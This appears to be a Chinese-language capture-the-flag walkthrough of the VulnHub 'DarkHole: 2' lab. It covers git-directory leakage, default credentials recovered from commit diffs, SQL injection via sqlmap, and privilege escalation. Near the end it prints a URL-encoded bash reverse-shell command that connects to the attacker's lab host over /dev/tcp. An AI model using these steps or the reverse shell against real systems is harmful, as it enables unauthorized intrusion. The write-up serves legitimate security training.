vulnhub-darkhole:2打靶
环境
vulnhub项目 https://www.vulnhub.com/entry/darkhole-2,740/
靶机:172.16.17.154
攻击机kali:172.16.17.140
信息收集
nmap 扫描靶机
访问一下首页,看看web指纹
首页只有一个登录功能, nmap扫到一个.git目录,继续扫一下目录
config和.git挨个访问,都存在目录遍历和git泄露
信息收集到此结束
Exploit
获取git源码
脚本地址 https://github.com/lijiejie/GitHack/
用脚本下载源码
1 | python GitHack.py http://172.16.17.154/.git/ |
查看一下目录结构
得到数据库账号密码,但是并未对外开放数据库端口
审计几个php文件,没有收获
git log
递归下载目录
脚本地址 https://github.com/arthaud/git-dumper
1 | python git_dumper.py http://172.16.17.154/.git website |
审计日志
第一次为初始化,第二次added login.php,第三次changed login.php
第二次添加了默认凭据
I added login.php file with default credentials
继续跟进,查看两次的差异
1 | git diff a4d900a8d85e8938d3601f3cef113ee293028e10 |
拿到账号密码,同时看到sql语句
sql注入
登录成功,看到id字眼,结合上面看到的sql语句,此处存在sql注入
修改id为0时,内容消失
1=1回显正常
1=2无回显
丢sqlmap跑,需要带上cookie
在数据库中跑出ssh密码
提权
拿到第一个flag
提权信息收集
sudo -l没有
在历史命令翻到可疑记录
1 | curl "http://localhost:999/?cmd=id" |
看来存在命令执行
发现,是losy用户,反弹一个shell,需要注意的是,因为是url执行,所以需要url编码
1 | curl "http://127.0.0.1:9999/?cmd=bash%20-c%20'exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F172.16.17.140%2F4444%20%3C%261'" |
历史命令看到密码
ssh上losy用户查看sudo权限的文件
根据历史命令的提示,用python拿到一个shell
拿到最后的flag